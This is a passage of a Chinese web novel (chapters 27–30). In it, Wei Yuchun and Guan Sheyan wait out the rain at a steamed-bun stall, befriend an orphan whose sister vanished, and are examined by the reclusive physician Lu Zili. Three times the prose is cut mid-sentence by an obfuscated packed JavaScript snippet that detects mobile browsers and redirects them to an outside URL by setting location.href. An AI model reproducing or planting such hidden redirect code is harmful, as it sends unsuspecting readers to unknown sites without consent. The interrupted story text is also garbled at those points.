“还有,陆大夫心情郁结,还不是因为他那个亡妻?他和他夫人之间的情谊是绝顶的伉俪情缘,可惜夫人难产,陆大夫本要保母,结果天命不由人,不管怎么救人,却还是女儿活了,娘却死了。所以陆大夫才会这么珍惜女儿!” 另外一个妇人对关阇彦的新鲜劲儿完全散了,立马就嫌弃魏郁春和关阇彦这两个外乡人耽误时间,不耐烦地甩袖道:“陆大夫女儿的生辰就是他夫人的忌日,换谁都郁闷吧!你们问话结束了没,我们还急着回家躲雨呢!” 听到妇人的话后,魏郁春眸色忽亮了几分,胸腹顿顿地沉了下去,将凝滞在肺腑间的气息全部吐了出去,完完全全松了一口气。 幸好陆子礼不是那样的人……她竟有些感慨,也为他的女儿感到开心。她不知不觉间已将要找陆子礼看病的主要目的抛在了脑后头,也没先顾着和妇人们打听清楚,陆子礼这段时间给人看诊的流程。 结果这会儿等人都走光了,她才幡然梦醒,可都已经来不及了,她有些懊恼。 一转头,结果瞥见关阇彦盯着她久久不肯松眉的表情。 27. 孤女诉怨(1) 魏郁春语塞,还没想好怎么开口时,关阇彦忽然一改神色,好整以暇地看着她,道:“怎么,有心事?” 魏郁春忽然想起来眼前此人也姓关,联系她方才回想到的种种回忆,她总觉得天命如此安排他们二人的相遇,有些讽刺味的戏剧性。 但这怎么可能呢?此人虽也姓关,却绝不可能和那传说中盛名在外的关氏嫡子有任何关系。 魏郁春自嘲着在心中默默叹了一口气,然后突然感觉没什么负担后,指着沐浴在雨幕下的雕着花纹的高石“花门”,示意关阇彦去看。 “我只是在盘算待会要给陆大夫交付多少诊金。” 关阇彦乜了她一眼,在心中喟叹道:“此女方才那般面色深重,分明心事重重,盘算诊金这样的事情,怎么可能让她这般精明的怪性子细究成这样?哼哈,有事瞒我,才急着拿这样的理由搪塞我呢。” “罢了,总有一天我得把她的心扒开来,好好看看里面藏着些什么事儿,不急于此时。” 关阇彦收回迟疑,然后目光顺着魏郁春手指着的方向远凝过去。 他好似已经适应了雨水的漂泊,眼睛都不眨一下地就应道:“现在就照着那几个妇人的话,先寻到陆大夫的家再说。” 他们踏入花门,记着自己已经走过了几个巷子口,然后踏踏实实地踩着雨坑,雨波泛着涟漪,转转悠悠的朝四周荡过去,波动的水面上倒映着年轻男子和女子无暇肃正的面容和挺拔有力的身段。 在第三个巷子口左拐了去,找到了几个客栈和一家很小的粮米铺子,继续前走,路子突然变得狭窄,葱郁青草肆意而生,将本就窄长的小路挤地要变成一条如同游走在草野中的长蛇。 他们仿佛来到了另一片地界,分明前脚还置身于布满店铺和客栈的镇巷,后脚跨过几片长满杂草的圃,眼前就几乎没有砖瓦之色,反而盛满了被雨水衬托得愈发朦胧玉翠的绿野。 绿野之间坐落着一片低矮的茅草屋,同样被绿油油的野草和几丛小树簇拥着,茅草屋围成的一片院子很大,里面圈养着一群躲在茅草作顶的棚子的鸡鸭,鸡棚鸭棚种着三四棵樱桃树,红彤彤的小果在摇晃的树叶中闪闪烁烁,像极了眨巴眼睛的某种红色星星。 高高的樱桃树下甚至还有用丝瓜藤绕着木架子做成的乘凉小地,丝瓜未成熟,挂着幼过在木架上摆动。丝瓜架子下还有一只没来得及从雨幕下拖回屋子的凉椅。 此处无行人,静谧到只有细雨拍打叶子的声响发出。茅屋外是一只大木门,结构和古溪村的屋子没什么不同。 绿荫幽草胜花时,这里明明什么都很普通,却总让人觉得要美到窒息。由此足以看出,这陆子礼是一个极度爱好恬静生活的人。 魏郁春敛衽走到木门外铺在被雨泡烂的泥水上的青石阶,颇为客气地敲着陆子礼的家门,喊道:“陆大夫在吗?我与远亲慕名前来拜访先生,可否启门一见?” 周遭除了雨声外,久久没有其他动静。 她怕是陆大夫没听见呼声,继续喊道:“陆大夫,我与本亲内伤在急,可否赏脸一二,为我们瞧瞧?” 茅草院内依旧阒然一片,好似其中根本就没有人。 “会不会根本不在家中?” 关阇彦也等不下去了,毕竟他的情况比魏郁春还要差上几倍。 “不可能,还记得三位妇人说过的么?陆子礼每到这段日子,就心情郁结不出门,寻他诊病的外乡人都得跋涉而来。话中之意很明显,陆子礼不会出门。加上现在外面落雨,他不在家中的可能性几乎没有。” 魏郁春冒雨前来,石阶前又无任何遮雨之物,肚中反酸又起,她饿得已经顶不住小小的身板子,整张脸都要扭曲成苦瓜了。 她现在就连说话都弱得要叫人听不见声音了。 “这样吧。”关阇彦忽道。 然后他就主动走到青石阶上,敲门几声,语气还算恭敬,但声音绝对算不上小:“陆大夫,若你在家,你方便后再开门,我们先等着,待会儿就回来。” 魏郁春一惊:“你要去做什么?” 关阇彦跨出被杂草围堵的窄路,随着他的身影一起移动的魏郁春瞥见一家蒸饼铺,蒸饼铺在茅草院对应的正前方的巷子中,连接那条巷子和脚下巷子的是一条用碎裂的青砖铺成的甬道,甬道绵延去去,俨然一个“十”字。 那见还在连烟雨幕中飘着火气的蒸饼铺,刚巧不巧在甬道刚好连接四面墙壁的地方夹缝而生,所以只要转身好好定睛看,就一定能看到蒸饼铺安置在外头高高挂起的招牌幌子——“王二郎蒸饼铺”。 关阇彦说道:“你我二人本就体力不济,需些吃食。那家蒸饼铺外头置了雨棚,不如在那里买些馒头垫肚子坐着等,看着陆家何时开门便可,犯不着在这里淋雨等人。” 魏郁春微惊的眉头渐渐平缓下去,觉得他言之有理,就跟着关阇彦的步子朝甬道走去。 甬道比被杂草包裹的巷路还要窄小,碎裂的青石砖块被风化地不成样子,上面甚至有被某种东西腐蚀后坑坑洼洼的小洞,落下来的水越堆越多,挤压在低洼的甬道不肯出来。二人只好提着衣摆,踏着早就湿透了的芒鞋蹚水而去。 蒸饼铺子位置偏僻,估摸着平日里就没什么生意,现在又受天气的影响,铺前更是门可罗雀,魏郁春和关阇彦就是这两只雀。 小小的铺子里仅有一个愁眉苦脸的小伙计坐在被支棍超前撑开的吊窗后,揉揉面剂子,揉了半晌也没见一团揉成的。小伙计眼见两个青年男女走来,愁云顿散,搓着满是白粉的手恭敬迎接:“二位客官要吃点什么?!” “瓠羹,肚胘羹,酥烙,酥枣,八宝烙,八宝羹,蒸饼,蒸肉馍,山药糕,玉米糕,如意烙,蒸芋头,糖梨花,糖桂花,红稻米粥,佛手酥,紫苏饮子!店中小米酿也有,自家酿制,六文一瓶,十文两瓶!” 小伙计可没见过二位长得这般标志的人儿,他们虽然穿着质朴,却给人一种仪态大方的感觉,尤其是其中个儿高的男子,不过此人虽然模样不错却被一脸虚气折煞了太多气质。 他以为眼前是两只大肥羊,把埋没了许久的报菜名本领全部掏出来溜了溜。 谁知道,二位恹恹地问了一句:“两只没馅儿馒头要多少?” 二位客官说话气弱游丝,听得人差点也要跟着断气。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447370|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙计一下子挤起了眉眼,一边嘀嘀咕咕,一边不客气地道:“有~没馅儿的馒头一文一个,有馅儿的馒头两个两文!” 关阇彦闻言额角一抽,现在本就脾气不好,偏偏还有人上赶着惹他。他腾的一下怒拍了一把桌子,突然大声地哼了一声:“没有便是没有,什么没馅儿的馒头一文一个,金子包的?!” 他常常出走在外,民间之苦与战场之苦往往息息相关,他往往知悉颇多。在中晋,区区一个没馅儿的馒头半文钱都不值,他这南禺破犄角旮旯生的馒头倒是厉害了!他天性倨傲,现在纵使落得给穷困潦倒的地步,也不允许别人拿此短板与他叫嚣。 一怒则怒,难以收场。 小伙计刚要怼他,谁知眼见一飘就飘到了关阇彦那双似凝着鬼火的刀眼,顿时成了只被虎狮踩在脚下的堪堪小鼠。 “客官不要生气!我送你两个肉馅馒头再多加一碗瓠羹!”遇上这么个大爷,吃霸王餐也比丢了小命好!小伙计心有余悸地赔笑道。 一旁没插话的魏郁春眉头蹙了一边,好似要准备摆好隔岸观火的架势。 本以为关阇彦还要靠此勒索店家一二,结果他这不按套路出牌的性子真就没让人失望过:“送?!瞧不起我么?” 说罢,往桌上丢了只小钱板,孤零零地砸在桌上,显得寒颤,和关阇彦嘴中的怒话形成了鲜明的对比,不知怎的就要惹人发笑。 “我要两个没馅儿的就拿两个没馅儿的,倒是瓠羹可换作藿羹,当作赔礼。” 小伙计心惊胆战地应下,然后才恍然抬头,眨巴眨巴眼睛。 这客官还真是奇怪,说送上好的肉馒瓠羹不要,偏偏要自己花钱买两白馒头,至于藿羹,分文不值、穷人都瞧不上眼的东西,他倒是喜欢得紧。 魏郁春蹙着的眉头终于稳不住了,簌簌地抖动了起来,在心中轻嗤起来:“堂堂弱冠男儿,做事说话毒则伤人稚则连童子都不如。倒是反差极大。” 小伙计退下去后,关阇彦也乏了,索性闭着眼,用手肘抵着桌案撑着下巴,闭眸浅眠下去,面色微有好转。长睫扫下,如同鸦羽。墨发洇水而湿漉,松散地贴在他这张稳健正气的脸上。 魏郁春怔怔地看着这张脸,自从在茶山上捡到他后,她就一直没有仔细看过这副模样的他。若不是她亲眼见识过这男人嘴巴的可恶刁钻,恐怕也会被他藏在眼皮下凌厉的眸子,和现在不怒自威的形象慑到。 她无事可做,在安静的等待时分,她只好随意捕捉些最近的事物——比如关阇彦,有感而发。 伙计坐在吊窗后揉面的动静变得越来越大,突然小伙计尖利的嗓门就响了起来:“哪来的野丫头,给我滚开,不许打我家蒸饼的主意!” 关阇彦不耐烦地动动眉心,睁开眸子后,眼中冷光似箭,一下就朝小伙计射去。 魏郁春的注意力则全部放在那个浑身都被雨水浇透的小女孩身上,她一身缁衣芒鞋,破破烂烂,最简朴的芒鞋上还吊着三四个洞洞,黑不溜秋的脚丫子掐着洞口露在外头。小女孩的个头看着比妹妹巧儿还矮,可能不到八岁。 这么小的年纪就流落街头乞讨要饭,实在是可怜。 28. 孤女诉怨(2) 那孤零零的小丫头,满身灰扑扑的某种东西和水雾混成了类似于泥浆的东西,她走到哪里,这些泥浆就跟着流到哪里,食客见到,的确容易遏了食欲。难怪开食铺的人会这么忌惮她。 但忌惮归忌惮,像王二郎小伙计这种出口劣言秽语,还准备拿起擀面杖揍人的行为却过界了。比起被影响的食欲,魏郁春更在意的是小女孩的安危。 许是爱屋及乌,自己有了只可爱的妹妹,看到旁的小丫头受苦,她总会于心不忍。于是她卯足了劲儿,提着艰涩的嗓音制止王二郎的行径:“快住手,小姑娘如此可怜,你为何屡屡出手凶狠无度?!” 王二郎撂住衣袖的手顿住,瞥见是小女娘出头,忽然就不害怕了:“关你什么事?!这种跑来要饭的乞丐多了去了,我不管他们,谁来管,要是不下下狠手给这些小崽种们长长记性,以后我这铺子还要怎么做生意?!” 魏郁春面色骤冷,她并未熟悉强悍之徒的恶劣品行,但比起前世的过度软弱,她至少学会了沉着冷静,并且她正准备思索些言辞来对付这泼皮伙计。 可惜她太有修养,速度上远不及嘴巴淬过毒的关阇彦。 “哼,”他又是一掌怒拍下去,“哐哐”下去桌腿还有余颤,把在场连同孤女在内的所有人都震得人心惶惶。 小伙计当场腿软:“小的说错话!办错事!哥儿娘子你们息息火!” 饶是有了这次的教训,没眼力见的小伙计也知道了魏郁春是关阇彦罩着的人,不敢再得罪了。 “又是讹人,又是仗着没脸没皮的秉性欺负幼孤,难怪你这破蒸饼铺子没生意。我看你这臭小子不如早早收拾收拾,回家找爹妈哭哭鼻子,求求老人家给你换个营生,说不定还能积积德。” 寥寥几句,就把那王二郎说得面红耳赤,眼眶那抹红意就要漫过眼眶,竟是真要哭起鼻子了。这王二郎小小年纪就盘了只铺子,虽然铺子不大,但不用想也知道这定是他爹妈的继承给他的营生。关阇彦这是故意戳着他心窝窝讽刺人呢。 魏郁春收了收心气,倒也不怒了,反而对那虽然害怕却舍不得走的孤女招招手:“饿了吧,过来和姐姐一起坐。” 这小丫头年纪这般小,看到王二郎提棍而来怎么可能不害怕?方才铺前争休不止,她也不愿离去,估摸着饿急了,没法子走,又被铺子传出来的香气死死钩着,她就更舍不得走了。 孤女面如菜色,听到魏郁春的声音,第一反应是错愕惶恐,脚步甚至还连连后退了几次。但或许是魏郁春的微笑如此亲和,这让她放下了警惕心,满眼复杂地垂头踩着水坑蹒跚过来。 关阇彦看到了魏郁春那抹笑容,心中又是奇了一阵,因为她这么个爱和陌生人保持距离的人,居然还有这样亲和的一面。他觉得此女真是将差别对待运用到了极致。 关阇彦话不多说,直接给王二郎甩了个颜色,对方就耷拉着脑袋,委委屈屈地走了,继续到他的火房前搓搓揉揉。 不消半炷香的时间,一笼冒着白气的白面馒头就端了上来,揭开一看,整整齐齐竟有六个。小伙计揪着衣裳,拧着眉头赔礼道:“还请哥儿娘子恕了小的方才的罪。” 也不知道是真心的,还是故意做给他们看的。但不管怎么说,恐吓教训是一说,他们从未有过敲诈别人的念头,于是清算好钱后,魏郁春依价给小伙计补付了几文钱。 至于关阇彦的那碗藿羹,王二郎实在没必要针对这个,叫人另付钱。 一直不肯坐上来桌子的孤女盯着泛着白灯似的光的馒头,咽下了不知多少口口水。魏郁春叹息一声,说道:“姐姐请你吃的,你先坐上来,你若不坐,我便不给了。” 她若不拿馒头作威胁说句狠话,这小丫头绝对不会听话地坐上来。 关阇彦随手揪出一只的馒头,虽然没馅儿,个头却有巴掌大,还算值。他手因常年操兵练剑布满了老茧,因此烫手之物摸在手里竟没什么感觉。 小丫头熬不住饿意,见男人动手拿了,自己也学着伸手往笼子里抓,结果被烫了好几个红印子。魏郁春只好连忙用桌上放着的凉白水给她冲好伤口,刚好也把她脏兮兮的小手洗白净了。 她耐心嗔怪道:“小孩子和大人不同,手皮子嫩,等凉些你再吃,不着急。” 小丫头内敛不敢说话,但还是乖乖点了头。 关阇彦觉得这一幕幕的场景怪有意思,随口说道:“没想到你对别的外人是如此大方,先前我帮你不少,结果对我倒是扣扣嗖嗖的。” 这些就说来话长了,之前关阇彦刚到冯家的时候,虽然只请了村里挖药草去集市上卖得较多的村人瞧病,但为他采买的药材却都是不怎么常见的,因此费了不少银钱。接着本以为关阇彦能醒来还钱,谁知道请回家的是只无底洞,他急于采茶还钱结果又倒了身子,冯家人只好继续苦巴巴地照顾他。 后来,关阇彦仗着自己帮了人忙,用人情债抵了钱债,本以为要走,结果又有出人命的大事招惹过来。论良心,关阇彦走不得。当然,即便他要走,第一个不同意的就是魏郁春。 关阇彦没有营生的手艺,也没有存下来的财物,魏郁春不好管他要,还得全部帮忙倒贴,难免克扣他的种种生活所需。包括吃食、穿衣、今日出行的盘缠等等,主打一个宁愿累死,也不可以多花钱,关阇彦今日没少因为这个心情郁结。 所以,他是真没想到,今日为了搭车砍价,砍出舌战群儒之架势的魏郁春,会为一个素未谋面的孩童出手这么大方——一抛就是两三文钱出去,说请就请了,对于魏郁春这种人来说,绝对是大方上的大方。 魏郁春知道他葫芦里卖的什么药,不愠反笑:“你不会连一个小孤女的气都怄吧?” 馒头冷了些,梅雨瓢泼时弥漫出去的雨雾还将其润软了不少。他瞥开眼睛,咬下一口后,鼓囊囊着个嘴巴,什么都不说,就是喉咙里哼哼着个拽拽的调子。 小孤女越吃越开,以囫囵吞枣之势,迅速吞下两只快有她脸盘子大的馒头,差点咽不下去,在魏郁春的嘱咐下,大口灌下一大碗水才舒坦起来。 她猛猛打出几个响嗝,亮亮的眸子中满是对魏郁春的感激——她其实不太敢看关阇彦,所以眸光里查无此人。 “谢谢姐姐……哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447371|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,”小丫头嗫嚅着,脸上突然涨得通红,好似鼓足了勇气,然后慢吞吞地说道。 紧接着,她那菜色般的面庞上浮现出一只可爱明暖的笑容,其实这丫头本该生得不错,只是吃了太多苦,她才瘦得不成人形,神色瑟瑟缩缩没自信,让人看着没那么讨喜。 她小手偷偷摸摸地在满是补丁的裤兜上掏着,生怕别人看出了自己的动作——虽然魏郁春和关阇彦早已明晰她的动机。 小孤女拿出两只草编的小蛐蛐,一手抓着一个,明明手激动地颤抖不止,却就是不敢拿出台面上给被人看。 魏郁春鼓励着她:“是什么呀?给姐姐看看好不好?” 小孤女眼睛又亮了几度,赧然一笑,把两只小蛐蛐摊开在掌心,仔细解释道:“这是我姐姐教我做的,我很笨,老学不会,今天我终于学会了,刚好做了两只,可以挂在腰带上。” 说罢,魏郁春刚要去接,小孤女又惶惶恐恐地瞥了关阇彦一眼,估摸还是怕他,但是她心里又想要给别人,矛盾的心理让她觉得纠结犹豫。 她慌张补充:“我……我编的时候特地去找的不容易断的草条,而且编的时候手都是干干净净的,不脏。我是因为找刚刚姐姐的时候不小心摔了一跤,摔进了泥潭,才把自己弄脏的!” 魏郁春讶然,她没想到小孤女心思这般细腻,原来是她很害怕自己心喜的宝贝分享出去后,被别人嫌弃。而且,她其实心地很善良,不愿意吃人白饭,所以一定要做些什么感谢别人,给的东西在别人眼中可能不算什么,可在她心目中却是一顶一的宝贝。 魏郁春越想心中越酸涩,她神色越发温柔,然后主动从她手中拿走一只小蛐蛐,当着她的面,仔仔细细地系到腰间。事后,还特别真诚地夸赞她:“我真的好喜欢,谢谢你。” 关阇彦垂眸一笑,拂去了浑身那股惹人胆寒的凌气,让人觉得好亲近了许多。 他拿走另外一只蛐蛐,提在手里左看右看,夸起来的言辞虽然普通,但就是这样才不会显得刻意:“比我在集市上看到的玩意儿都精细啊。” 小孤女乐开了花,不知不觉地说道:“要是姐姐听到了,一定会很开心的。” 魏郁春问她:“对了,你姐姐在哪里?你这么小一个家伙在外头不安全,我们可以帮你找找。” 她只以为小孤女和她的姐姐是暂时失散了。 谁知,她的话头一下子勾起了小孤女心中所有的苦楚。她哇的一声大哭起来,呜咽起来:“姐姐消失快一个多月了!我怎么都找不到她!” “失踪了?”古溪村近来发生的种种事情都和小孩子脱不开关系,关阇彦对这种事情相当敏感,于是,他紧接着追问小孤女,“你姐姐多大了?” 小孤女回答:“姐姐消失前刚过完十岁生辰。” “十岁生辰?” 这下魏郁春也有了很大的反应,她默默移开眼睛,往蹚过水的甬道复看而去,依稀可见茅草院子紧闭的木门,还有里头的缠着樱桃树的丝瓜架子。 陆子礼的女儿也刚过完十岁生辰。 这些难道只是巧合么? 29. 陆氏草堂 棚外的雨水平缓了很多,见雨要停,小孤女急急忙忙地和魏郁春打了招呼要走,说是还急着寻找姐姐。看来她是真的非常珍视自己的姐姐,即便一个多月的寻觅无果,也没让她有过放弃的念头。 她还是那般坚持不懈地寻觅希望,片刻都不肯耽搁。单纯得让人心酸。 魏郁春每每想起小孤女谈及自己姐姐时眉目高扬、雀跃无比的模样时,她记忆中魏澜清隐没在黑暗中狰狞的面容,就会争先恐后地占据她的脑海,她不理解小孤女的情绪,甚至也无法共情冯巧儿对待自己的感情。 可她却也总是好奇,如果自己有个好姐姐,自己的结局会是什么样子。 雨终于停了,湿漉漉的潮气铺天盖地,压抑已久的土地腥气跑出来,有些呛人。天气还是闷热,好似到处冒着湿哒哒的汗珠子,和闹人的潮气勾搭在一块,谁也不饶人,折磨得两个雨棚下的年轻人挠头撂衣。 大概率这场梅雨还要找个时间点继续下。 魏郁春和关阇彦一直都有意盯着茅草屋的动静,雨下了半个时辰,他们就真的坐在铺子里盯了半个时辰。 天色都暗了许多,揉面的王二郎渐渐没了动静,一瞧居然是打起了瞌睡,额头眼皮上都是闷汗。 半个时辰里,茅草屋还是一如既往地没有动静。正当他们以为无望的时候,准备趁着雨停离去时,一阵吱呀吱呀的木门划动声音穿过甬道,钻入他们的耳廓。 摇身一望,甬道对面,茅草屋门启开的小缝儿中冒出一只人头——因为角度的偏差,那个男人的身子,刚好被和他身体差不多高的门影掩盖住了,唯有只脑袋完完整整地露在门上头。 魏郁春站过这只木门前的青砖,粗略对比之下,她连摸到门顶估摸都得抬起大半只手臂出去。这男人个子应该很高,骨架子和身长可能比关阇彦都要壮而高。 男人满面苍白,唯有因瘦削而导致的眼眶、面颊等等地方的凹陷显出区分于苍白的幽青色,这些幽青色几乎接近于墨色了。他是个极瘦的男子,天光晦暗,他站在那里映不出影子,人影之单薄,好似是从从一张漂过的纸张上剪下来的假人。 甬道有几尺长,不算长却也短不到让对面的魏郁春和关阇彦看清他的具体长相,即便如此,他们心里却十分肯定,那个清瘦极了的男人正盯着他们看,明明看不到他的眼神究竟如何,却总觉得他盯过来的目的性极强,眼睛好像也不会眨的那种——更像假人了。 雨后怪风作怪,好似有意要捉弄这两位怔住的年轻人,给他们制造出了背后阴风阵阵的错觉,偏偏他们还信了这邪。 关阇彦却是心里拧巴了一会儿,但到底胆子很大,缓和几分心情后,大大方方叹了句:“还好没算白来。” 魏郁春看着他往甬道里前去的身影,心里也松了劲儿。毕竟比这更吓人的事情都经历过了,她又有什么要忌惮了的呢? 不知不觉间,她好似对关阇彦增添了不少信任,虽然她自己并没有意识到,这股可能正在往依赖性发展的信任的存在,但她也的的确确认可了此人应对困事时,令人心悦诚服的领导力和解决能力。 所以看到他领在前头冲锋,她仿佛也借了他的光似的,脚步稳健了很多。 直到他们二人重新回到茅草屋前,他们才通过看清掩在门后的身体,终于肯确认眼前的清瘦男人是个大活人,至多是身上浮着的沉沉死气有些晃眼。 关阇彦此时和他站在一块,魏郁春登时觉得关阇彦再健康不过了,哪有什么内疾? 关阇彦并不怎么适合交际,清瘦男人的特别,在他眼里成了从上到下打量别人的关键原因,他自己不觉得什么,外人看来却是很不尊重人的表现。魏郁春料得出清瘦男人就是神医陆子礼,连忙堆笑挡住关阇彦,敬道:“陆大夫,多有叨扰,望见谅。” “嗯,”陆子礼死潭一般的眸子,在她身上短暂停留了片刻就移了回去,动作也有了活气,他便往回走边交代道,“进来吧,最后记着把门带好。” 他的声音极其平稳,没有任何感情色彩,好似他要交谈的对象也该是一样死物。 魏郁春一边跟着陆子礼往指定的屋子内走去,一边暗中思忖:“看来陆子礼早就知道我们的来意了。如此可见,他方才看向我和关贤齐的时候的目光才会那么极具目的性,好像就是在故意示意我们回来拜访他……所以,他明明都听到了我那些问候,却故意装作不理会么?” “既然如此,他又为什么特意启门让我们进来拜谒?” “这陆大夫看起来也并不正常,难道真像是市井上所流传的那样,是思妻心切而致的么?” 她心思敏捷无比,一时沉浸在自己的世界里,完全没有在意外界的风吹草动。 然而一些事情定然难以逃过最善闻声而动的关阇彦的法眼——关阇彦紧紧跟随着埋头沉思的魏郁春,发现一抹射向他和魏郁春的目光藏在暗处,他瞳孔顿移,看似不动却暗暗打探,以最快的速度抓住了目光的源头。 院子中最主要的茅草屋长长一条竖在突出的部位,这只屋子最中间挂着简陋的木刻招牌“陆氏草堂”。 在这群茅草屋的最东头一个拐角过去,摆着几只堆起来的抱桶,和一辆对着被水完全浸湿的茅草的平头车,那头长着一头半只屋子高的石榴树,上头挂着紧紧裹着红芯的花骨朵。以石榴树为界,快有一整个屋子高的杂草,张牙舞爪地扎地而生,都聚集在拐角建屋的空地上。 浓密的杂草后头才是南北方向而立的长条状茅草屋,茅草屋中有条铺着吸水茅草的泥路,走过后又是一条茅草屋。 所以这陆家的确挺宽阔,每间屋子都做的很大,就是简陋到和周边的建筑格格不入。 那抹被关阇彦察觉到的陌生目光,就藏在拐角处那一群人高样的杂草圃中。 他看到有个扎着规整羊角发髻的丫头,蹑手蹑脚地掰开一头遮掩视线的草丛,觑着眼看着他们。丫头的面容饱满红润,额角的绒发十分茂密,轻柔地好似亲飘飘就能吹走的羽毛。她的衣袖遮掩着她半张面孔,关阇彦只能看到她鼻梁以上的部分,辨断出这小女孩平日里生活得不错,家里人待她不薄。 恰巧,这个小丫头看着也是十岁左右的样子。 他回忆起初到禺山镇时,妇人们对陆子礼的说法,她们说陆神医有个宝贝得不得了的女儿。所以,这丫头定是陆神医的掌上明珠了。 陆小丫头是看到了有陌生人进入家中,心中好奇,才跑来偷看一二吧。他如是想到,放下戒心后也没继续掩饰去打探女孩的眼神。丫头一下子反应过来,顿时藏到了草丛里,看不到人影了。 而关阇彦对此早已浑不在乎。 此时,一行人已经跨入了“陆氏草堂”的门槛,他们发现茅草铺搭下的屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447372|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子有着用低矮的砖土砌成的四面内墙,里面只有两扇挂在后头墙壁上的窗户,都被帘子遮了起来,几乎泛不进光亮进来,唯有屋后几只竹影在暗暗的薄纱帘后轻轻摇曳。 一只有屋顶高的木头柜子背靠屋墙,其毛边粗糙,上头分分割成无数个整整齐齐的小柜子,大概横着有七八排,竖着也要有十几列,每个屉柜上都又用发霉泛黄的素绢作底、墨色书写的中草药名——黄连、白芍、千姜等等,数量之多,叫人目不暇接。 柜子旁边还细心地置了只小梯子,估摸是用来爬上去抓取最上头难以直接够到的药材的。 雨水刚落,空气里还弥漫着木头腐烂的霉味儿,可当他们步入屋子的那一刻起,这些潮润的霉气就都消失不见了。 屋内安置了好几只云纹褐色香炉,它们用一个很高的架子作为支撑,焚烧香料时飘渺的云烟一缕缕散逸在空中,好似置身于仙境云雾之中。 魏郁春嗅出这些香味有些熟悉,气息之中埋着微微的姜辣味,后味儿悠远。这些香味可以驱散寒潮之气,所以屋内才会暖意融融,叫人呼吸顺畅了很多,布满全身的湿汗也很快被烘干了。 陆子礼先是走到了条案后,随手打开了几只屉子,往药草中掏了一把,听到哗啦啦的干草碰撞声后,他才颔首满意离开。在他动作的时候,魏郁春瞥见了他在屉子中摆置的木炭粉包——这种事物,她在古溪村时也见到过家里摆放,是防止南方返潮时家中起霉儿所用的工具。 看来这陆大夫是非常爱护药材之人,行事也谨慎,看着确实名不虚传。 陆子礼突然回眸而来,黯淡的眸子里倒映的是关阇彦的面容,在他这泛着死水的眼里,有着丰俊面容的关阇彦,也成了灰扑扑干巴巴的纸片人。 关阇彦被他突如其来的凝视盯得浑身发怵,旋即提起了十二分警惕心,简直像被侵犯底线后奓毛的猫,这完全是下意识的举动。那陆子礼是他见过第一个面对这样的自己时,不为所动的人。 陆子礼盯了他一会儿,冷不丁抛出一句:“肝火急,气息虚,面色湿青,身体行动重乏。公子是有内疾吧?” 关阇彦眉头舒展一二,对照陆子礼的话还真的仔仔细细掂量掂量了自己浑身的筋骨,果不其然,真有滞钝之意,感觉关节里好似储了不少湿水一样,把身子拖得越来越重。这种反应他还是刚刚发现自己有的,若不是陆子礼提醒,他到现在定还不知道。 他心中的忌惮感弱了几分,又想起这陆大夫同别的普通郎中不同,开口不是先讨要诊费,而是真的给人看出问题来。估摸着确实有几分厉害。 陆子礼眼神动了动,示意魏郁春也一起听他的话:“二位先去诊台坐下吧。” 魏郁春和关阇彦循着他的眼神望去,发现屋内东侧摆着好几个用木头雕刻成的人体穴位人形摆件,大的有真人高,小的可能仅有一只香炉高。诊台就是一只小桌案,案后是大夫所坐的蒲团,案前则是留给客人坐的小杌子,杌子腿儿好像都不齐,还没坐上去都感觉人已在上头摇摇欲坠了。 诊台所在的一隅之地因为周边堆放了不少类似于药臼、药流、陶土药锅等等制药器具的物件,所以逼仄地最多只能容下三四个人。 陆子礼自己就是个大高个子,踏过去的时候都有些勉强。同他身高差不多,却要比他健康结实多的关阇彦就更牵强了。魏郁春则觉得刚刚好。 30. 子礼之拒 三人依照规矩坐好自己相应的位置,陆子礼方才就已经凭借视觉和听觉,对关阇彦的情况有了大致的把握,所以一落坐就直接让对方张口伸舌来。他只此一瞥,就郑重道:“舌苔又湿又厚腻,显为湿邪所致。” “何为湿邪?”关阇彦凝眸而问。 “致病之源本为外湿,却因内体五行本就紊乱,直接诱发了内湿,转为湿邪,伤及内阳,浑身淤气难出。近来梅雨湿气加重,内外湿邪夹攻于你,短则身体筋骨乏力困重、腹胀水肿,长则阴盛阳衰,恐有性命之忧。” 陆子礼声音浑冷粘滞,嗡嗡而出,好似埋在结满霜冰下的掺着碴子的冻水一般。在逼仄的空间内,他的嗓音愈加突出,专属于他的这些音色特点也被尽数放大。 他的话虽让人能得清楚,却会叫人听得浑身不自在。 魏郁春只会越来越感到不安。 然陆子礼的诊断还未结束,他表情钻刻,比起最开始展现给外人的如死物般的漠然疏远,他现在的过分严肃,反而令人觉得更好亲近。 他已经把手搭到了关阇彦的手腕上,切脉而言:“公子体内五行紊乱,估摸是因为在潮气极重之时受了重创,因而湿气才会趁虚而入转为湿邪。否则以公子的体魄,很难生出这样的内病来。” 